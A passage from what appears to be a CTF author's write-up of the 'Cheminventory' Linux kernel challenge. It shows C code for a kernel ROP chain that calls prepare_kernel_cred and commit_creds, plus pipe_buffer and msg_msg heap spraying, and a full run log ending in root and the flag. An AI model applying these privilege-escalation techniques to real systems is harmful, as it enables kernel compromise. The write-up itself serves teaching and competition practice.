ops->release = kernel_base + 0x556dc6; // 0xffffffff81556dc6 : push rsi ; jmp qword ptr [rsi + 0x39]
uint64_t *rop;
rop = (uint64_t *)&secondary_buf[0x39];
*rop = kernel_base + 0x135dff; // 0xffffffff81135dff : pop rsp ; ret
rop = (uint64_t *)&secondary_buf[0x0];
*rop = 0xdeadbeefcafebabe;
*rop++ = kernel_base + 0x4433ec; // 0xffffffff814433ec : ret 0x100;
*rop++ = kernel_base + 0x135e00; // ret
rop = (uint64_t *)&secondary_buf[0x178];
*rop = kernel_base + 0x05a15f; // pop rdi ; pop 5 ; ret
*rop++ = kernel_base + 0x05a15f; // pop rdi ; pop 5 ; ret
rop = (uint64_t *)&secondary_buf[0x110];
*rop = 0x4141414141414141;
*rop++ = kernel_base + 0x05a15f; // pop rdi ; pop 5 ; ret
*rop++ = kernel_base + 0x1209e80; // init_task
*rop++ = 0x4141414141414141;
*rop++ = 0x4141414141414141;
*rop++ = 0x4141414141414141;
*rop++ = 0x4141414141414141;
*rop++ = 0x4141414141414141;
*rop++ = kernel_base + 0x0a8a30; // prepare_kernel_cred
*rop++ = kernel_base + 0x00a903; // pop rcx ; ret
*rop++ = kheap_1024_addr + 0x178;
*rop++ = kernel_base + 0x345de3; // push rax ; jmp qword ptr [rcx]
*rop++ = 0x4141414141414141;
*rop++ = 0x4141414141414141;
*rop++;
*rop++ = 0x4141414141414141;
*rop++ = 0x4141414141414141;
*rop++ = kernel_base + 0x0a8500; // commit_creds
*rop++ = kernel_base + 0xa39238; // swapgs
*rop++ = kernel_base + 0x03095f; // iretq
*rop++ = user_rip;
*rop++ = user_cs;
*rop++ = user_rflags;
*rop++ = user_sp;
*rop++ = user_ss;
signal(SIGSEGV, get_shell);
printf("[+] Spraying fake pipe_buffer objects\n");
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (write(ss[i][0], secondary_buf, sizeof(secondary_buf)) < 0) {
perror("[!] write");
exit(-1);
}
}
}
sleep(1);
printf("[+] Releasing pipe_buffer objects\n");
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (close(pipefd[i][0]) < 0) {
perror("[!] close");
exit(-1);
}
if (close(pipefd[i][1]) < 0) {
perror("[!] close");
exit(-1);
}
}
Fun fact: I just realized (after doing Bi0sCTF’s palindromatic) that DirtyPipe is probably a cleaner and nicer way to do this (and you don’t have to deal with finding annoying kernel ROP gadgets!)
Running the full exploit:
/tmp $ ./exploit
STAGE 1: SETUP
[+] Initial setup
[+] Setting up msg queues
[+] Setting up sockets
[+] Opening Cheminventory device
[+] Spraying padding timerfd
[+] Created new chemical
STAGE 2: KERNEL TEXT LEAK
[!] Replace failed: Operation not permitted
[+] Spraying timerfds
[+] Performed read
[+] Kernel text leak: 0xffffffffbc685cc0
[+] Kernel base: 0xffffffffbc400000
STAGE 3: KERNEL HEAP LEAK
[+] Freeing padding timerfd spray
[+] Freeing timerfd spray
[+] Cross cache msg_msg spray
[+] Fake object 1 msg_msg spray
[+] Secondary msg_msg spray
[+] Fake object 2 msg_msg spray
[+] Fake object 3 msg_msg spray
[+] Performed read
[+] Fake object 1 address: 0xffff95974167d600
[+] msg_msg at vulnerable object: 0x203
[+] Freeing that one specific primary msg_msg
[+] Spraying new primary msg_msg
[+] Performed read
[+] kmalloc-cg-1024 address: 0xffff9597417e6000
[+] SELinux security pointer leak: 0xffff959740fcd8d8
[+] msg_msg at vulnerable object: 0x6
[+] Freeing that one specific primary msg_msg
[+] Spraying new primary msg_msg
[+] Performed read
[+] Fake object 2 address: 0xffff959741d6a000
[+] msg_msg at vulnerable object: 0x7
[+] Freeing that one specific primary msg_msg
[+] Spraying new primary msg_msg
[+] Performed read
[+] Fake object 3 address: 0xffff95974206c000
[+] msg_msg at vulnerable object: 0x8
STAGE 4: MAKE FAKE LINKED LIST
[+] Freeing that one specific primary msg_msg
[+] Spraying new primary msg_msg
[+] Freeing fake object 1
[+] Spraying new fake object 1
[+] Freeing fake object 2
[+] Spraying new fake object 2
[+] Freeing fake object 3
[+] Spraying new fake object 3
[+] Freeing secondary msg_msg
[+] Spraying pipe_buf over freed 1024 area
[+] Performed free
STAGE 5: ROP TIME!!!
[+] Saved state
[+] Spraying fake pipe_buffer objects
[+] Releasing pipe_buffer objects
[+] Returned to userland
[+] UID: 0, got root!
/tmp # cd /root
~ # ls
flag.txt
~ # cat flag.txt
LNC24{1f_y0U_473_n07_P4R7_0f_Th3_501UT10N_YoU_a7E_P47T_0f_Th3_Pr3C1P1T473}
The challenge files and the full exploit can be found here: https://github.com/KaligulaArmblessed/CTF-Challenges/tree/main/Cheminventory
I hope that you have enjoyed this challenge as much as I loved writing it, and thanks for reading!